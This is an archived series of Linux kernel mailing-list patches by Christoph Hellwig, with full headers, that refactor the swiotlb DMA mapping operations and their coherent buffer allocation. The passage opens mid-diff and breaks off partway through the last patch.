 		 * If we didn't find something sba_iommu can claim, we
 		 * need to setup the swiotlb and switch to the dig machvec.
 		 */
-		dma_ops = &swiotlb_dma_ops;
+		dma_ops = &ia64_swiotlb_dma_ops;
 		if (swiotlb_late_init_with_default_size(64 * (1<<20)) != 0)
 			panic("Unable to find SBA IOMMU or initialize "
 			      "software I/O TLB: Try machvec=dig boot option");
diff --git a/arch/ia64/kernel/pci-swiotlb.c b/arch/ia64/kernel/pci-swiotlb.c
index 5e50939aa03e..f1ae873a8c35 100644
--- a/arch/ia64/kernel/pci-swiotlb.c
+++ b/arch/ia64/kernel/pci-swiotlb.c
@@ -31,7 +31,7 @@ static void ia64_swiotlb_free_coherent(struct device *dev, size_t size,
 	swiotlb_free_coherent(dev, size, vaddr, dma_addr);
 }
 
-const struct dma_map_ops swiotlb_dma_ops = {
+const struct dma_map_ops ia64_swiotlb_dma_ops = {
 	.alloc = ia64_swiotlb_alloc_coherent,
 	.free = ia64_swiotlb_free_coherent,
 	.map_page = swiotlb_map_page,
@@ -48,7 +48,7 @@ const struct dma_map_ops swiotlb_dma_ops = {
 
 void __init swiotlb_dma_init(void)
 {
-	dma_ops = &swiotlb_dma_ops;
+	dma_ops = &ia64_swiotlb_dma_ops;
 	swiotlb_init(1);
 }
 
@@ -60,7 +60,7 @@ void __init pci_swiotlb_init(void)
 		printk(KERN_INFO "PCI-DMA: Re-initialize machine vector.\n");
 		machvec_init("dig");
 		swiotlb_init(1);
-		dma_ops = &swiotlb_dma_ops;
+		dma_ops = &ia64_swiotlb_dma_ops;
 #else
 		panic("Unable to find Intel IOMMU");
 #endif
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 46/67] swiotlb: lift x86 swiotlb_dma_ops to common code
Date: Fri, 29 Dec 2017 09:18:50 +0100
Lines: 185
Approved: news@gmane.org
Message-ID: <20171229081911.2802-47-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535666 26268 195.159.176.226 (29 Dec 2017 08:21:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:21:06 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Dec 29 09:21:00 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eUpuP-0005w0-3c
	for glpm-linux-m68k@m.gmane.org; Fri, 29 Dec 2017 09:20:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932860AbdL2IWy (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 29 Dec 2017 03:22:54 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:50744 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932853AbdL2IWv (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Fri, 29 Dec 2017 03:22:51 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=rvr1eqMlP4YV89qiiy1bcmkZ+vcF4wJzJ7SgqHnKFeI=; b=E+gturd8ipCiraLkskHpNz/Hz
        a2S3QxpGIlPpMRbdLmPcTfq313Hjqbg00M7sRvyaXp8go1aSNtVR2HQRXB0rt1v71lwt8zgefT3eV
        ZRZJarEnoqq6D9CJdwtV7hnzn5nJvNpyzbiXmTnkSvHA0IyfLwsqLps3PBsTEdBwJRLRSzqYo/0p1
        dMAuwngN/vJYNoVMevMO8nO+IyBOtq6iKbVtTXnKxy+UQeMoZ/auxCLt2jrb1zV0iO9U6kgk74kUD
        sLCiSN7KHgDpq32XPR32sIWCRFKIhTn4iEBpFxQcXTgAjaLhiWiHaPnTksRRXoroWo2LGMC3ajHNP
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpw4-00035c-RR; Fri, 29 Dec 2017 08:22:37 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9759 gmane.linux.kernel.iommu:21918 gmane.linux.ports.alpha:4585 gmane.linux.kernel.arc:3206 gmane.linux.ports.arm.kernel:622931 gmane.linux.ports.hexagon:1438 gmane.linux.ports.ia64:28428 gmane.linux.kernel.metag:1512 gmane.linux.ports.mips.general:62961 gmane.linux.ports.parisc:28103 gmane.linux.ports.ppc64.devel:151535 gmane.linux.ports.sh.devel:56074 gmane.linux.ports.sparc:27081 gmane.linux.kernel.cross-arch:40821 gmane.linux.kernel:2654248
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9759>

Including the useful helpers for coherent allocations that first try the
full blown direct mapping.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/x86/include/asm/swiotlb.h |  8 --------
 arch/x86/kernel/pci-swiotlb.c  | 45 ------------------------------------------
 arch/x86/pci/sta2x11-fixup.c   |  4 ++--
 include/linux/swiotlb.h        |  8 ++++++++
 lib/swiotlb.c                  | 43 ++++++++++++++++++++++++++++++++++++++++
 5 files changed, 53 insertions(+), 55 deletions(-)

diff --git a/arch/x86/include/asm/swiotlb.h b/arch/x86/include/asm/swiotlb.h
index 1c6a6cb230ff..ff6c92eff035 100644
--- a/arch/x86/include/asm/swiotlb.h
+++ b/arch/x86/include/asm/swiotlb.h
@@ -27,12 +27,4 @@ static inline void pci_swiotlb_late_init(void)
 {
 }
 #endif
-
-extern void *x86_swiotlb_alloc_coherent(struct device *hwdev, size_t size,
-					dma_addr_t *dma_handle, gfp_t flags,
-					unsigned long attrs);
-extern void x86_swiotlb_free_coherent(struct device *dev, size_t size,
-					void *vaddr, dma_addr_t dma_addr,
-					unsigned long attrs);
-
 #endif /* _ASM_X86_SWIOTLB_H */
diff --git a/arch/x86/kernel/pci-swiotlb.c b/arch/x86/kernel/pci-swiotlb.c
index 57dea60c2473..661583662430 100644
--- a/arch/x86/kernel/pci-swiotlb.c
+++ b/arch/x86/kernel/pci-swiotlb.c
@@ -17,51 +17,6 @@
 
 int swiotlb __read_mostly;
 
-void *x86_swiotlb_alloc_coherent(struct device *hwdev, size_t size,
-					dma_addr_t *dma_handle, gfp_t flags,
-					unsigned long attrs)
-{
-	void *vaddr;
-
-	/*
-	 * Don't print a warning when the first allocation attempt fails.
-	 * swiotlb_alloc_coherent() will print a warning when the DMA
-	 * memory allocation ultimately failed.
-	 */
-	flags |= __GFP_NOWARN;
-
-	vaddr = dma_direct_alloc(hwdev, size, dma_handle, flags, attrs);
-	if (vaddr)
-		return vaddr;
-
-	return swiotlb_alloc_coherent(hwdev, size, dma_handle, flags);
-}
-
-void x86_swiotlb_free_coherent(struct device *dev, size_t size,
-				      void *vaddr, dma_addr_t dma_addr,
-				      unsigned long attrs)
-{
-	if (is_swiotlb_buffer(dma_to_phys(dev, dma_addr)))
-		swiotlb_free_coherent(dev, size, vaddr, dma_addr);
-	else
-		dma_direct_free(dev, size, vaddr, dma_addr, attrs);
-}
-
-static const struct dma_map_ops swiotlb_dma_ops = {
-	.mapping_error = swiotlb_dma_mapping_error,
-	.alloc = x86_swiotlb_alloc_coherent,
-	.free = x86_swiotlb_free_coherent,
-	.sync_single_for_cpu = swiotlb_sync_single_for_cpu,
-	.sync_single_for_device = swiotlb_sync_single_for_device,
-	.sync_sg_for_cpu = swiotlb_sync_sg_for_cpu,
-	.sync_sg_for_device = swiotlb_sync_sg_for_device,
-	.map_sg = swiotlb_map_sg_attrs,
-	.unmap_sg = swiotlb_unmap_sg_attrs,
-	.map_page = swiotlb_map_page,
-	.unmap_page = swiotlb_unmap_page,
-	.dma_supported = NULL,
-};
-
 /*
  * pci_swiotlb_detect_override - set swiotlb to 1 if necessary
  *
diff --git a/arch/x86/pci/sta2x11-fixup.c b/arch/x86/pci/sta2x11-fixup.c
index 6c712fe11bdc..4b69b008d5aa 100644
--- a/arch/x86/pci/sta2x11-fixup.c
+++ b/arch/x86/pci/sta2x11-fixup.c
@@ -175,7 +175,7 @@ static void *sta2x11_swiotlb_alloc_coherent(struct device *dev,
 {
 	void *vaddr;
 
-	vaddr = x86_swiotlb_alloc_coherent(dev, size, dma_handle, flags, attrs);
+	vaddr = swiotlb_alloc(dev, size, dma_handle, flags, attrs);
 	*dma_handle = p2a(*dma_handle, to_pci_dev(dev));
 	return vaddr;
 }
@@ -183,7 +183,7 @@ static void *sta2x11_swiotlb_alloc_coherent(struct device *dev,
 /* We have our own dma_ops: the same as swiotlb but from alloc (above) */
 static const struct dma_map_ops sta2x11_dma_ops = {
 	.alloc = sta2x11_swiotlb_alloc_coherent,
-	.free = x86_swiotlb_free_coherent,
+	.free = swiotlb_free,
 	.map_page = swiotlb_map_page,
 	.unmap_page = swiotlb_unmap_page,
 	.map_sg = swiotlb_map_sg_attrs,
diff --git a/include/linux/swiotlb.h b/include/linux/swiotlb.h
index 606375e35d87..5b1f2a00491c 100644
--- a/include/linux/swiotlb.h
+++ b/include/linux/swiotlb.h
@@ -66,6 +66,12 @@ extern void swiotlb_tbl_sync_single(struct device *hwdev,
 				    enum dma_sync_target target);
 
 /* Accessory functions. */
+
+void *swiotlb_alloc(struct device *hwdev, size_t size, dma_addr_t *dma_handle,
+		gfp_t flags, unsigned long attrs);
+void swiotlb_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_addr, unsigned long attrs);
+
 extern void
 *swiotlb_alloc_coherent(struct device *hwdev, size_t size,
 			dma_addr_t *dma_handle, gfp_t flags);
@@ -126,4 +132,6 @@ extern void swiotlb_print_info(void);
 extern int is_swiotlb_buffer(phys_addr_t paddr);
 extern void swiotlb_set_max_segment(unsigned int);
 
+extern const struct dma_map_ops swiotlb_dma_ops;
+
 #endif /* __LINUX_SWIOTLB_H */
diff --git a/lib/swiotlb.c b/lib/swiotlb.c
index c1fcd3a32d07..9c100f0173bf 100644
--- a/lib/swiotlb.c
+++ b/lib/swiotlb.c
@@ -1084,3 +1084,46 @@ swiotlb_dma_supported(struct device *hwdev, u64 mask)
 	return swiotlb_phys_to_dma(hwdev, io_tlb_end - 1) <= mask;
 }
 EXPORT_SYMBOL(swiotlb_dma_supported);
+
+#ifdef CONFIG_DMA_DIRECT_OPS
+void *swiotlb_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
+{
+	void *vaddr;
+
+	/*
+	 * Don't print a warning when the first allocation attempt fails.
+	 * swiotlb_alloc_coherent() will print a warning when the DMA memory
+	 * allocation ultimately failed.
+	 */
+	gfp |= __GFP_NOWARN;
+
+	vaddr = dma_direct_alloc(dev, size, dma_handle, gfp, attrs);
+	if (!vaddr)
+		vaddr = swiotlb_alloc_coherent(dev, size, dma_handle, gfp);
+	return vaddr;
+}
+
+void swiotlb_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_addr, unsigned long attrs)
+{
+	if (is_swiotlb_buffer(dma_to_phys(dev, dma_addr)))
+		swiotlb_free_coherent(dev, size, vaddr, dma_addr);
+	else
+		dma_direct_free(dev, size, vaddr, dma_addr, attrs);
+}
+
+const struct dma_map_ops swiotlb_dma_ops = {
+	.mapping_error		= swiotlb_dma_mapping_error,
+	.alloc			= swiotlb_alloc,
+	.free			= swiotlb_free,
+	.sync_single_for_cpu	= swiotlb_sync_single_for_cpu,
+	.sync_single_for_device	= swiotlb_sync_single_for_device,
+	.sync_sg_for_cpu	= swiotlb_sync_sg_for_cpu,
+	.sync_sg_for_device	= swiotlb_sync_sg_for_device,
+	.map_sg			= swiotlb_map_sg_attrs,
+	.unmap_sg		= swiotlb_unmap_sg_attrs,
+	.map_page		= swiotlb_map_page,
+	.unmap_page		= swiotlb_unmap_page,
+};
+#endif /* CONFIG_DMA_DIRECT_OPS */
-- 
2.14.2


From - Thu Nov 08 21:40:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 47/67] swiotlb: wire up ->dma_supported in swiotlb_dma_ops
Date: Fri, 29 Dec 2017 09:18:51 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20171229081911.2802-48-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535674 27983 195.159.176.226 (29 Dec 2017 08:21:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:21:14 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 29 09:21:08 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eUpub-0006lo-QZ
	for glk-linux-kernel-3@m.gmane.org; Fri, 29 Dec 2017 09:21:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932895AbdL2IXF (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 29 Dec 2017 03:23:05 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:53996 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932879AbdL2IW4 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 29 Dec 2017 03:22:56 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=WZKbZA3eIEV5oOUX91JJ5Mb57W7gg00NIrYhXQ3cah0=; b=cNcclhc/cLfSyPGxneEr5nRE8
        bY8Jekv+nBNoehd9P7xSVWWDpnHKIjypIAZrFXmnTHfCYcGNq8fquzJ6cQVWjXW42pd0UxsmpFUSd
        fksaI4AbSyWKnq3n90NqTX5tSnw0p7wISsKon4qI38gnl5iOumx+7X1wTQj5mkGJ03Ju0Pnv59ld9
        1/W/1J2Kzg9hVkEqz68vZl3M2Co6zUuPZqujXfiowtjmNP7+B5NY2CDQTL6uYOc3pWGZlsIuBBRqR
        CV2nvEu0BrPQYX5cCY4gpppOuFPkGdYG0v+Ksv7YMS1R2fgK9ct09xHrabZVDnMCVzCTYAK70rUGC
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpw9-00038o-ML; Fri, 29 Dec 2017 08:22:42 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2654249 gmane.linux.kernel.iommu:21919 gmane.linux.ports.alpha:4586 gmane.linux.kernel.arc:3207 gmane.linux.ports.arm.kernel:622932 gmane.linux.ports.hexagon:1439 gmane.linux.ports.ia64:28429 gmane.linux.kernel.metag:1513 gmane.linux.ports.mips.general:62962 gmane.linux.ports.parisc:28104 gmane.linux.ports.ppc64.devel:151536 gmane.linux.ports.sh.devel:56075 gmane.linux.ports.sparc:27082 gmane.linux.kernel.cross-arch:40822
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2654249>

To properly reject too small DMA masks based on the addressability of the
bounce buffer.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/swiotlb.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/lib/swiotlb.c b/lib/swiotlb.c
index 9c100f0173bf..e0b8980334c3 100644
--- a/lib/swiotlb.c
+++ b/lib/swiotlb.c
@@ -1125,5 +1125,6 @@ const struct dma_map_ops swiotlb_dma_ops = {
 	.unmap_sg		= swiotlb_unmap_sg_attrs,
 	.map_page		= swiotlb_map_page,
 	.unmap_page		= swiotlb_unmap_page,
+	.dma_supported		= swiotlb_dma_supported,
 };
 #endif /* CONFIG_DMA_DIRECT_OPS */
-- 
2.14.2



From - Thu Nov 08 21:40:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: [PATCH 50/67] swiotlb: refactor coherent buffer allocation
Date: Fri, 29 Dec 2017 09:18:54 +0100
Lines: 146
Approved: news@gmane.org
Message-ID: <20171229081911.2802-51-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535681 29826 195.159.176.226 (29 Dec 2017 08:21:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:21:21 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-arch-owner@vger.kernel.org Fri Dec 29 09:21:16 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1eUpuk-00076c-BZ
	for glka-linux-arch@m.gmane.org; Fri, 29 Dec 2017 09:21:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932897AbdL2IXO (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Fri, 29 Dec 2017 03:23:14 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:50934 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932252AbdL2IXM (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Fri, 29 Dec 2017 03:23:12 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=tNqLEm8pT0mbKh+Ndi8Tch49tf+ODOlpzHPx2fUwYcg=; b=dbfEtsLDdbptBDl3e8npMFWDf
        xoGYwDJqEjKyo0GjkPAIwzVdEbnfdByEfR1/Ar1c+RmJoOygjhAFmab6rZlGmFV3zf57JWQusDFLf
        2EuX3TzmaRu3NX3/8bkqkn5/OI/gHpBVlVVky1EaYure+ImcOKwHnbig469sC8uaq/TMAWo7z83Uc
        fpkcBBynRpt5WbNIgxdkRE0r+IT3/joAkIHy8Fhf1epH+EjVQHajJCxVMJfeCUjjLASoSzc61b1wb
        cZYesobVlUpc+NrUeoPDNNVNVNmcKM5r4TJw1tMI5axJ7F+6u/LnEF2z67hAimOBRGSLaVSjQv/jt
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpwM-0003IU-VO; Fri, 29 Dec 2017 08:22:55 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:40823 gmane.linux.kernel.iommu:21920 gmane.linux.ports.alpha:4587 gmane.linux.kernel.arc:3208 gmane.linux.ports.arm.kernel:622933 gmane.linux.ports.hexagon:1440 gmane.linux.ports.ia64:28430 gmane.linux.kernel.metag:1514 gmane.linux.ports.mips.general:62963 gmane.linux.ports.parisc:28105 gmane.linux.ports.ppc64.devel:151537 gmane.linux.ports.sh.devel:56076 gmane.linux.ports.sparc:27083 gmane.linux.kernel:2654250
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/40823>

Factor out a new swiotlb_alloc_buffer helper that allocates DMA coherent
memory from the swiotlb bounce buffer.

This allows to simplify the swiotlb_alloc implemenation that uses
dma_direct_alloc to try to allocate a reachable buffer first.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/swiotlb.c | 100 ++++++++++++++++++++++++++++++----------------------------
 1 file changed, 51 insertions(+), 49 deletions(-)

diff --git a/lib/swiotlb.c b/lib/swiotlb.c
index adb4dd0091fa..905eea6353a3 100644
--- a/lib/swiotlb.c
+++ b/lib/swiotlb.c
@@ -709,67 +709,69 @@ void swiotlb_tbl_sync_single(struct device *hwdev, phys_addr_t tlb_addr,
 }
 EXPORT_SYMBOL_GPL(swiotlb_tbl_sync_single);
 
+static void *
+swiotlb_alloc_buffer(struct device *dev, size_t size, dma_addr_t *dma_handle)
+{
+	phys_addr_t phys_addr;
+
+	if (swiotlb_force == SWIOTLB_NO_FORCE)
+		goto out_warn;
+
+	phys_addr = swiotlb_tbl_map_single(dev,
+			swiotlb_phys_to_dma(dev, io_tlb_start),
+			0, size, DMA_FROM_DEVICE, 0);
+	if (phys_addr == SWIOTLB_MAP_ERROR)
+		goto out_warn;
+
+	*dma_handle = swiotlb_phys_to_dma(dev, phys_addr);
+
+	/* Confirm address can be DMA'd by device */
+	if (*dma_handle + size - 1 > dev->coherent_dma_mask)
+		goto out_unmap;
+
+	memset(phys_to_virt(phys_addr), 0, size);
+	return phys_to_virt(phys_addr);
+
+out_unmap:
+	dev_warn(dev, "hwdev DMA mask = 0x%016Lx, dev_addr = 0x%016Lx\n",
+		(unsigned long long)dev->coherent_dma_mask,
+		(unsigned long long)*dma_handle);
+
+	/*
+	 * DMA_TO_DEVICE to avoid memcpy in unmap_single.
+	 * DMA_ATTR_SKIP_CPU_SYNC is optional.
+	 */
+	swiotlb_tbl_unmap_single(dev, phys_addr, size, DMA_TO_DEVICE,
+			DMA_ATTR_SKIP_CPU_SYNC);
+out_warn:
+	dev_warn(dev,
+		"swiotlb: coherent allocation failed, size=%zu\n", size);
+	dump_stack();
+	return NULL;
+}
+
 void *
 swiotlb_alloc_coherent(struct device *hwdev, size_t size,
 		       dma_addr_t *dma_handle, gfp_t flags)
 {
-	dma_addr_t dev_addr;
-	void *ret;
 	int order = get_order(size);
+	void *ret;
 
 	ret = (void *)__get_free_pages(flags, order);
 	if (ret) {
-		dev_addr = swiotlb_virt_to_bus(hwdev, ret);
-		if (dev_addr + size - 1 > hwdev->coherent_dma_mask) {
-			/*
-			 * The allocated memory isn't reachable by the device.
-			 */
-			free_pages((unsigned long) ret, order);
-			ret = NULL;
+		*dma_handle = swiotlb_virt_to_bus(hwdev, ret);
+		if (*dma_handle  + size - 1 <= hwdev->coherent_dma_mask) {
+			memset(ret, 0, size);
+			return ret;
 		}
-	}
-	if (!ret) {
+
 		/*
-		 * We are either out of memory or the device can't DMA to
-		 * GFP_DMA memory; fall back on map_single(), which
-		 * will grab memory from the lowest available address range.
+		 * The allocated memory isn't reachable by the device.
 		 */
-		phys_addr_t paddr = map_single(hwdev, 0, size,
-					       DMA_FROM_DEVICE, 0);
-		if (paddr == SWIOTLB_MAP_ERROR)
-			goto err_warn;
-
-		ret = phys_to_virt(paddr);
-		dev_addr = swiotlb_phys_to_dma(hwdev, paddr);
-
-		/* Confirm address can be DMA'd by device */
-		if (dev_addr + size - 1 > hwdev->coherent_dma_mask) {
-			printk("hwdev DMA mask = 0x%016Lx, dev_addr = 0x%016Lx\n",
-			       (unsigned long long)hwdev->coherent_dma_mask,
-			       (unsigned long long)dev_addr);
-
-			/*
